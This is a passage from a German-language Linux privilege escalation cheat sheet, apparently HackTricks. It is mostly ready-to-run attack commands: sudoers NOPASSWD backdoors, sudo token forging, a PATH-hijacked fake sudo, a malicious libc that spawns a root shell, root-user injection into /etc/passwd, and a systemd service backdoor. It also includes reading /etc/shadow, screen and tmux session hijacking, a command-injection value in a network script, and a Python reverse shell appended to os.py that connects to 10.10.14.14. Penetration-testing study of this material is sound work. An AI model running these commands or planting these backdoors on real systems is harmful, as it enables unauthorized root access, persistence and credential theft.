• Der dritte exploit (exploit_v3.sh) erstellt eine sudoers file, die sudo tokens dauerhaft macht und allen Benutzern erlaubt, sudo zu verwenden

bash exploit_v3.sh
sudo su

/var/run/sudo/ts/<Username>

Wenn du write permissions in dem Ordner oder an irgendeiner der darin erstellten Dateien hast, kannst du das binary write_sudo_token verwenden, um ein sudo token für einen Benutzer und PID zu erstellen.
Zum Beispiel, wenn du die Datei /var/run/sudo/ts/sampleuser überschreiben kannst und eine shell als dieser Benutzer mit PID 1234 hast, kannst du obtain sudo privileges ohne das Passwort zu kennen erlangen, indem du:

./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser

/etc/sudoers, /etc/sudoers.d

Die Datei /etc/sudoers und die Dateien in /etc/sudoers.d legen fest, wer sudo verwenden darf und wie.
Diese Dateien können standardmäßig nur vom Benutzer root und von der Gruppe root gelesen werden.
Wenn du diese Datei lesen kannst, könntest du einige interessante Informationen erhalten, und wenn du eine Datei schreiben kannst, wirst du in der Lage sein, Privilegien zu eskalieren.

ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/

Wenn Sie schreiben können, können Sie diese Berechtigung missbrauchen.

echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README

Eine weitere Möglichkeit, diese Berechtigungen auszunutzen:

# makes it so every terminal can sudo
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
# makes it so sudo never times out
echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win

DOAS

Es gibt einige Alternativen zum sudo-Binary, wie doas für OpenBSD. Denk daran, dessen Konfiguration unter /etc/doas.conf zu prüfen.

permit nopass demo as root cmd vim

Sudo Hijacking

Wenn du weißt, dass ein Benutzer sich üblicherweise an einer Maschine anmeldet und sudo verwendet, um Privilegien zu erhöhen, und du eine Shell in diesem Benutzerkontext erhalten hast, kannst du create a new sudo executable erstellen, die deinen Code als root und anschließend den Befehl des Benutzers ausführt. Dann ändere den $PATH des Benutzerkontexts (zum Beispiel durch Hinzufügen des neuen Pfads in .bash_profile), sodass beim Ausführen von sudo durch den Benutzer dein sudo executable ausgeführt wird.

Beachte, dass wenn der Benutzer eine andere Shell (nicht bash) verwendet, du andere Dateien anpassen musst, um den neuen Pfad hinzuzufügen. Zum Beispiel sudo-piggyback modifiziert ~/.bashrc, ~/.zshrc, ~/.bash_profile. Du findest ein weiteres Beispiel in bashdoor.py

Oder so etwas ausführen:

cat >/tmp/sudo <<EOF
#!/bin/bash
/usr/bin/sudo whoami > /tmp/privesc
/usr/bin/sudo "\$@"
EOF
chmod +x /tmp/sudo
echo ‘export PATH=/tmp:$PATH’ >> $HOME/.zshenv # or ".bashrc" or any other

# From the victim
zsh
echo $PATH
sudo ls

Shared Library

ld.so

Die Datei /etc/ld.so.conf gibt an, woher die geladenen Konfigurationsdateien stammen. Typischerweise enthält diese Datei folgenden Eintrag: include /etc/ld.so.conf.d/*.conf

Das bedeutet, dass die Konfigurationsdateien aus /etc/ld.so.conf.d/*.conf eingelesen werden. Diese Konfigurationsdateien verweisen auf andere Ordner, in denen nach libraries gesucht wird. Beispielsweise ist der Inhalt von /etc/ld.so.conf.d/libc.conf /usr/local/lib. Das bedeutet, dass das System nach libraries innerhalb von /usr/local/lib suchen wird.

Wenn aus irgendeinem Grund ein Benutzer Schreibrechte auf einen der angegebenen Pfade hat: /etc/ld.so.conf, /etc/ld.so.conf.d/, irgendeine Datei innerhalb von /etc/ld.so.conf.d/ oder einen Ordner, auf den in den Konfigurationsdateien in /etc/ld.so.conf.d/*.conf verwiesen wird, kann er möglicherweise Privilegien eskalieren.
Schau dir an, wie man diese Fehlkonfiguration ausnutzen kann auf der folgenden Seite:

ld.so privesc exploit example

RPATH

level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
0x00000001 (NEEDED)                     Shared library: [libc.so.6]
0x0000000f (RPATH)                      Library rpath: [/var/tmp/flag15]

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)

Durch das Kopieren der lib nach /var/tmp/flag15/ wird sie vom Programm an dieser Stelle verwendet, wie in der RPATH-Variable angegeben.

level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)

Erstelle dann eine bösartige Bibliothek in /var/tmp mit gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6

#include<stdlib.h>
#define SHELL "/bin/sh"

int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}

Capabilities

Linux capabilities provide a Teilmenge der verfügbaren Root-Privilegien für einen Prozess. Dies zerlegt Root-Privilegien effektiv in kleinere und unterscheidbare Einheiten. Jede dieser Einheiten kann dann unabhängig an Prozesse vergeben werden. Auf diese Weise wird die Gesamtheit der Privilegien reduziert, wodurch das Risiko einer Ausnutzung verringert wird.
Lies die folgende Seite, um mehr über capabilities und deren Missbrauch zu erfahren:

Linux Capabilities

Verzeichnisberechtigungen

In einem Verzeichnis bedeutet das Bit für “execute”, dass der betroffene Benutzer mit “cd” in das Verzeichnis wechseln kann.
Das “read”-Bit bedeutet, dass der Benutzer die Dateien auflisten kann, und das “write”-Bit bedeutet, dass der Benutzer Dateien löschen und neue Dateien erstellen kann.

ACLs

Access Control Lists (ACLs) stellen die sekundäre Ebene der diskretionären Berechtigungen dar und können die traditionellen ugo/rwx-Berechtigungen überschreiben. Diese Berechtigungen verbessern die Kontrolle über den Zugriff auf eine Datei oder ein Verzeichnis, indem sie bestimmten Benutzern, die weder Eigentümer noch Mitglied der Gruppe sind, Rechte gewähren oder verweigern. Dieses Maß an Granularität sorgt für eine präzisere Zugriffskontrolle. Weitere Details finden Sie here.

Geben Sie dem Benutzer “kali” Lese- und Schreibrechte für eine Datei:

setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)

setfacl -b file.txt #Remove the ACL of the file

Dateien mit bestimmten ACLs aus dem System abrufen:

getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null

Versteckte ACL backdoor in sudoers drop-ins

Eine häufige Fehlkonfiguration ist eine root-owned Datei in /etc/sudoers.d/ mit Modus 440, die dennoch Schreibzugriff für einen low-priv user über ACL gewährt.

ls -l /etc/sudoers.d/*
getfacl /etc/sudoers.d/<file>

Wenn Sie so etwas wie user:alice:rw- sehen, kann der Benutzer trotz restriktiver Mode-Bits eine sudo-Regel anhängen:

echo 'alice ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers.d/<file>
visudo -cf /etc/sudoers.d/<file>
sudo -l

Dies ist ein hochwirksamer ACL persistence/privesc path, da er in reinen ls -l-Reviews leicht übersehen wird.

Offene shell sessions

In älteren Versionen kannst du möglicherweise eine shell-Session eines anderen Benutzers (root) hijacken.
In neuesten Versionen kannst du dich nur noch zu screen sessions deines eigenen Users connecten. Allerdings könntest du interessante Informationen innerhalb der Session finden.

screen sessions hijacking

Screen sessions auflisten

screen -ls
screen -ls <username>/ # Show another user' screen sessions

# Socket locations (some systems expose one as symlink of the other)
ls /run/screen/ /var/run/screen/ 2>/dev/null

An eine Sitzung anhängen

screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]

tmux sessions hijacking

Dies war ein Problem mit alten tmux-Versionen. Ich konnte als nicht-privilegierter Benutzer eine von root erstellte tmux (v2.1)-Sitzung nicht hijacken.

tmux-Sitzungen auflisten

tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess

An eine session anhängen

tmux attach -t myname #If you write something in this session it will appears in the other opened one
tmux attach -d -t myname #First detach the session from the other console and then access it yourself

ls -la /tmp/dev_sess #Check who can access it
rw-rw---- 1 root devs 0 Sep  1 06:27 /tmp/dev_sess #In this case root and devs can
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket

Siehe Valentine box von HTB als Beispiel.

SSH

Debian OpenSSL Predictable PRNG - CVE-2008-0166

Alle SSL- und SSH-Schlüssel, die auf Debian-basierten Systemen (Ubuntu, Kubuntu, etc) zwischen September 2006 und dem 13. Mai 2008 erzeugt wurden, können von diesem Fehler betroffen sein.
Dieser Fehler tritt beim Erstellen eines neuen ssh-Schlüssels auf diesen OS auf, da nur 32.768 Varianten möglich waren. Das bedeutet, dass alle Möglichkeiten berechnet werden können und mit dem ssh public key kann man nach dem entsprechenden private key suchen. Die berechneten Möglichkeiten finden Sie hier: https://github.com/g0tmi1k/debian-ssh

SSH Interessante Konfigurationswerte

• PasswordAuthentication: Gibt an, ob Passwort-Authentifizierung erlaubt ist. Der Standard ist no.
• PubkeyAuthentication: Gibt an, ob public key-Authentifizierung erlaubt ist. Der Standard ist yes.
• PermitEmptyPasswords: Wenn Passwort-Authentifizierung erlaubt ist, legt dies fest, ob der Server Anmeldungen zu Konten mit leeren Passwort-Strings erlaubt. Der Standard ist no.

Login-Kontrolldateien

Diese Dateien beeinflussen, wer sich einloggen kann und wie:

• /etc/nologin: wenn vorhanden, blockiert Nicht-root-Logins und gibt die enthaltene Nachricht aus.
• /etc/securetty: schränkt ein, von wo root sich einloggen kann (TTY-Allowlist).
• /etc/motd: Post-Login-Banner (kann Umgebungs- oder Wartungsdetails leak).

PermitRootLogin

Gibt an, ob root sich per ssh einloggen kann, Standard ist no. Mögliche Werte:

• yes: root kann sich mit Passwort und private key einloggen
• without-password oder prohibit-password: root kann sich nur mit einem private key einloggen
• forced-commands-only: root kann sich nur mit private key einloggen und wenn die commands-Optionen angegeben sind
• no: nein

AuthorizedKeysFile

Legt Dateien fest, die die public keys enthalten, die für die Benutzer-Authentifizierung verwendet werden können. Es können Tokens wie %h enthalten sein, die durch das Home-Verzeichnis ersetzt werden. Du kannst absolute Pfade angeben (beginnen mit /) oder relative Pfade vom Home-Verzeichnis des Benutzers. Zum Beispiel:

AuthorizedKeysFile    .ssh/authorized_keys access

Diese Konfiguration zeigt an, dass, wenn du versuchst, dich mit dem private Key des Benutzers “testusername” einzuloggen, ssh den public key deines Keys mit denen in /home/testusername/.ssh/authorized_keys und /home/testusername/access vergleichen wird.

ForwardAgent/AllowAgentForwarding

SSH agent forwarding erlaubt dir, use your local SSH keys instead of leaving keys (without passphrases!) auf deinem Server liegen zu lassen. So kannst du via ssh jump to a host und von dort jump to another Host using den key, der sich auf deinem initial host befindet.

Du musst diese Option in $HOME/.ssh.config wie folgt setzen:

Host example.com
ForwardAgent yes

Beachte, dass wenn Host * ist, jedes Mal, wenn der Benutzer zu einer anderen Maschine wechselt, dieser Host Zugriff auf die keys haben wird (was ein Sicherheitsproblem ist).

Die Datei /etc/ssh_config kann diese Optionen überschreiben und diese Konfiguration erlauben oder verhindern.
Die Datei /etc/sshd_config kann ssh-agent forwarding mit dem Schlüsselwort AllowAgentForwarding erlauben oder verweigern (Standard: erlaubt).

Wenn du feststellst, dass Forward Agent in einer Umgebung konfiguriert ist, lies die folgende Seite, da du es missbrauchen könntest, um Privilegien zu eskalieren:

SSH Forward Agent exploitation

Interessante Dateien

Profil-Dateien

Die Datei /etc/profile und die Dateien unter /etc/profile.d/ sind Skripte, die ausgeführt werden, wenn ein Benutzer eine neue Shell startet. Daher, wenn du eine von ihnen schreiben oder ändern kannst, kannst du Privilegien eskalieren.

ls -l /etc/profile /etc/profile.d/

Wenn ein ungewöhnliches Profilskript gefunden wird, solltest du es auf sensible Details überprüfen.

Passwd/Shadow Dateien

Je nach OS können die Dateien /etc/passwd und /etc/shadow einen anderen Namen haben oder es könnte eine Sicherung existieren. Daher wird empfohlen, alle zu finden und zu prüfen, ob du sie lesen kannst, um zu sehen, ob hashes in den Dateien enthalten sind:

#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null

In manchen Fällen kann man password hashes in der Datei /etc/passwd (oder äquivalente Datei) finden.

grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null

Schreibbare /etc/passwd

Erzeuge zuerst ein Passwort mit einem der folgenden Befehle.

openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'

Dann füge den Benutzer hacker hinzu und trage das erzeugte Passwort ein.

# Generiere ein zufälliges Passwort, lege den Benutzer 'hacker' an und setze das Passwort
PASSWORD=$(openssl rand -base64 16)
sudo useradd -m -s /bin/bash hacker
echo "hacker:$PASSWORD" | sudo chpasswd
printf "Generated password for user 'hacker': %s\n" "$PASSWORD"

hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash

z. B.: hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash

Du kannst jetzt den su-Befehl mit hacker:hacker verwenden.

Alternativ kannst du die folgenden Zeilen verwenden, um einen Dummy-Benutzer ohne Passwort hinzuzufügen.
WARNUNG: Dadurch kann die aktuelle Sicherheit der Maschine beeinträchtigt werden.

echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy

HINWEIS: Auf BSD-Plattformen befindet sich /etc/passwd unter /etc/pwd.db und /etc/master.passwd, außerdem wurde /etc/shadow in /etc/spwd.db umbenannt.

Du solltest prüfen, ob du in einigen sensiblen Dateien schreiben kannst. Zum Beispiel: Kannst du in eine Service-Konfigurationsdatei schreiben?

find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user

Zum Beispiel, wenn die Maschine einen tomcat-Server ausführt und du die Tomcat-Service-Konfigurationsdatei innerhalb von /etc/systemd/ ändern kannst, dann kannst du die Zeilen ändern:

ExecStart=/path/to/backdoor
User=root
Group=root

Deine backdoor wird beim nächsten Start von tomcat ausgeführt.

Ordner prüfen

Die folgenden Ordner können Backups oder interessante Informationen enthalten: /tmp, /var/tmp, /var/backups, /var/mail, /var/spool/mail, /etc/exports, /root (Wahrscheinlich kannst du den letzten nicht lesen, aber versuche es.)

ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root

Seltsamer Speicherort/Owned Dateien

#root owned files in /home folders
find /home -user root 2>/dev/null
#Files owned by other users in folders owned by me
for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
#Files owned by root, readable by me but not world readable
find / -type f -user root ! -perm -o=r 2>/dev/null
#Files owned by me or world writable
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
#Writable files by each group I belong to
for g in `groups`;
do printf "  Group $g:\n";
find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
done
done

Geänderte Dateien in den letzten Minuten

find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null

Sqlite DB-Dateien

find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null

*_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml Dateien

find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null

Versteckte Dateien

find / -type f -iname ".*" -ls 2>/dev/null

Skripte/Binärdateien im PATH

for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done

Web-Dateien

ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null

Sicherungen

find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null

Bekannte Dateien, die passwords enthalten

Lies den Code von linPEAS, er durchsucht mehrere mögliche Dateien, die passwords enthalten könnten.
Ein weiteres interessantes Tool das du dafür verwenden kannst ist: LaZagne, eine open source-Anwendung, mit der viele passwords, die auf einem lokalen Computer für Windows, Linux & Mac gespeichert sind, ausgelesen werden können.

Logs

Wenn du Logs lesen kannst, könntest du darin interessante/vertrauliche Informationen finden. Je seltsamer das Log ist, desto interessanter wird es (wahrscheinlich).
Auch können einige “bad” konfigurierte (backdoored?) audit logs es erlauben, passwords aufzuzeichnen in audit logs, wie in diesem Beitrag erklärt: https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/.

aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null

Um logs zu lesen, ist die Gruppe adm sehr hilfreich.

Shell files

~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
~/.profile # if it exists, read once if the two above don't exist
/etc/profile # only read if none of the above exists
~/.bashrc # if it exists, read it every time you start a new shell
~/.bash_logout # if it exists, read when the login shell exits
~/.zlogin #zsh shell
~/.zshrc #zsh shell

Generic Creds Search/Regex

Sie sollten außerdem nach Dateien suchen, die das Wort “password” im Namen oder im Inhalt enthalten, und auch nach IPs und emails in Logs oder nach hashes regexps.
Ich werde hier nicht aufzählen, wie man das alles macht, aber wenn Sie interessiert sind, können Sie sich die letzten Checks ansehen, die linpeas perform.

Schreibbare Dateien

Python library hijacking

Wenn Sie wissen, von wo ein python script ausgeführt wird und Sie in diesen Ordner schreiben können oder die python libraries verändern können, können Sie die OS-Bibliothek modifizieren und mit einem backdoor versehen (falls Sie dort schreiben können, wo das python script ausgeführt wird, kopieren Sie die os.py Bibliothek).

To backdoor the library just add at the end of the os.py library the following line (change IP and PORT):

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Logrotate-Ausnutzung

Eine Schwachstelle in logrotate erlaubt es Benutzern mit Schreibrechten auf eine Logdatei oder ihre übergeordneten Verzeichnisse, potenziell Privilegien zu eskalieren. Das liegt daran, dass logrotate, das häufig als root läuft, so manipuliert werden kann, dass beliebige Dateien ausgeführt werden, insbesondere in Verzeichnissen wie /etc/bash_completion.d/. Es ist wichtig, die Berechtigungen nicht nur in /var/log zu prüfen, sondern auch in allen Verzeichnissen, in denen die Logrotation angewendet wird.

Tip

Diese Schwachstelle betrifft logrotate Version 3.18.0 und älter

Weitere Details zur Schwachstelle findet man auf dieser Seite: https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition.

Diese Schwachstelle kann mit logrotten ausgenutzt werden.

Diese Schwachstelle ist sehr ähnlich zu CVE-2016-1247 (nginx logs), daher solltest du, wann immer du Logs verändern kannst, prüfen, wer diese Logs verwaltet, und untersuchen, ob du Privilegien eskalieren kannst, indem du die Logs durch Symlinks ersetzt.

/etc/sysconfig/network-scripts/ (Centos/Redhat)

Vulnerability reference: https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f

Wenn ein Benutzer aus irgendeinem Grund in der Lage ist, ein ifcf-<whatever>-Script nach /etc/sysconfig/network-scripts zu schreiben oder ein bestehendes anzupassen, dann ist dein System ist pwned.

Network-Scripts, z. B. ifcg-eth0, werden für Netzwerkverbindungen verwendet. Sie sehen genau wie .INI-Dateien aus. Allerdings werden sie auf Linux von Network Manager (dispatcher.d) ~sourced~.

In meinem Fall wird das NAME=-Attribut in diesen Network-Scripts nicht korrekt verarbeitet. Wenn du Leer- oder Whitespace-Zeichen im Namen hast, versucht das System, den Teil nach dem Leer-/Whitespace-Zeichen auszuführen. Das bedeutet, dass alles nach dem ersten Leerzeichen als root ausgeführt wird.

For example: /etc/sysconfig/network-scripts/ifcfg-1337

NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0

(Beachte das Leerzeichen zwischen Network und /bin/id)

init, init.d, systemd und rc.d

Das Verzeichnis /etc/init.d enthält Skripte für System V init (SysVinit), das klassische Linux-Service-Management-System. Es beinhaltet Skripte zum start, stop, restart und manchmal reload von Services. Diese können direkt ausgeführt werden oder über symbolische Links in /etc/rc?.d/. Ein alternativer Pfad in Redhat-Systemen ist /etc/rc.d/init.d.

Dagegen ist /etc/init mit Upstart verbunden, einem neueren Service-Management, das von Ubuntu eingeführt wurde und Konfigurationsdateien für Service-Aufgaben verwendet. Trotz der Umstellung auf Upstart werden SysVinit-Skripte weiterhin neben Upstart-Konfigurationen verwendet, da Upstart eine Kompatibilitätsschicht bietet.

systemd gilt als moderner Init- und Service-Manager und bietet erweiterte Funktionen wie bedarfsbasiertes Starten von Daemons, Automount-Verwaltung und Systemzustands-Snapshots. Es organisiert Dateien in /usr/lib/systemd/ für Distribution-Pakete und /etc/systemd/system/ für Administrator-Anpassungen und vereinfacht damit die Systemadministration.

Weitere Tricks

NFS Privilege escalation

NFS no_root_squash/no_all_squash misconfiguration PE

Escaping from restricted Shells

Escaping from Jails

Cisco - vmanage

Cisco - vmanage

Android rooting frameworks: manager-channel abuse

Android rooting frameworks hooken häufig einen syscall, um privilegierte Kernel-Funktionalität an einen userspace manager zu exposen. Schwache Manager-Authentifizierung (z. B. Signature-Checks basierend auf FD-order oder mangelhafte Passwortschemata) kann einer local app erlauben, sich als Manager auszugeben und auf bereits gerooteten Geräten to escalate to root. Mehr Informationen und Exploit-Details hier:

Android Rooting Frameworks Manager Auth Bypass Syscall Hook

VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244)

Regex-gesteuerte Service-Erkennung in VMware Tools/Aria Operations kann einen Binary-Pfad aus Prozess-Kommandozeilen extrahieren und ihn mit -v unter privilegiertem Kontext ausführen. Zulässige Patterns (z. B. Verwendung von \S) können mit von Angreifern platzierten Listenern in beschreibbaren Orten (z. B. /tmp/httpd) übereinstimmen, was zur Ausführung als root führt (CWE-426 Untrusted Search Path).

Mehr dazu und ein generalisiertes Muster, das auf andere Discovery-/Monitoring-Stacks anwendbar ist, hier:

Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244

Kernel Security Protections

• https://github.com/a13xp0p0v/kconfig-hardened-check
• https://github.com/a13xp0p0v/linux-kernel-defence-map

More help

Static impacket binaries

Linux/Unix Privesc Tools

Bestes Tool, um nach Linux local privilege escalation vectors zu suchen: LinPEAS

LinEnum: https://github.com/rebootuser/LinEnum(-t option)
Enumy: https://github.com/luke-goddard/enumy
Unix Privesc Check: http://pentestmonkey.net/tools/audit/unix-privesc-check
Linux Priv Checker: www.securitysift.com/download/linuxprivchecker.py
BeeRoot: https://github.com/AlessandroZ/BeRoot/tree/master/Linux
Kernelpop: Enumerate kernel vulns ins linux and MAC https://github.com/spencerdodd/kernelpop
Mestaploit: multi/recon/local_exploit_suggester
Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
EvilAbigail (physical access): https://github.com/GDSSecurity/EvilAbigail
Recopilation of more scripts: https://github.com/1N3/PrivEsc

References

• 0xdf – HTB Planning (Crontab UI privesc, zip -P creds reuse)
• 0xdf – HTB Era: forged .text_sig payload for cron-executed monitor
• 0xdf – Holiday Hack Challenge 2025: Neighborhood Watch Bypass (sudo env_keep PATH hijack)
• alseambusher/crontab-ui
• https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
• https://payatu.com/guide-linux-privilege-escalation/
• https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744
• http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html
• https://touhidshaikh.com/blog/?p=827
• https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf
• https://github.com/frizb/Linux-Privilege-Escalation
• https://github.com/lucyoa/kernel-exploits
• https://github.com/rtcrowley/linux-private-i
• https://www.linux.com/news/what-socket/
• https://muzec0318.github.io/posts/PG/peppo.html
• https://www.linuxjournal.com/article/7744
• https://blog.certcube.com/suid-executables-linux-privilege-escalation/
• https://juggernaut-sec.com/sudo-part-2-lpe
• https://linuxconfig.org/how-to-manage-acls-on-linux
• https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f
• https://www.linode.com/docs/guides/what-is-systemd/
• 0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)
• GNU Bash Manual – BASH_ENV (non-interactive startup file)
• 0xdf – HTB Environment (sudo env_keep BASH_ENV → root)
• 0xdf – HTB Previous (sudo terraform dev_overrides + TF_VAR symlink privesc)
• 0xdf – HTB Slonik (pg_basebackup cron copy → SUID bash)
• NVISO – You name it, VMware elevates it (CVE-2025-41244)
• 0xdf – HTB: Expressway

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

• Überprüfen Sie die Abonnementpläne!
• Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
• Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.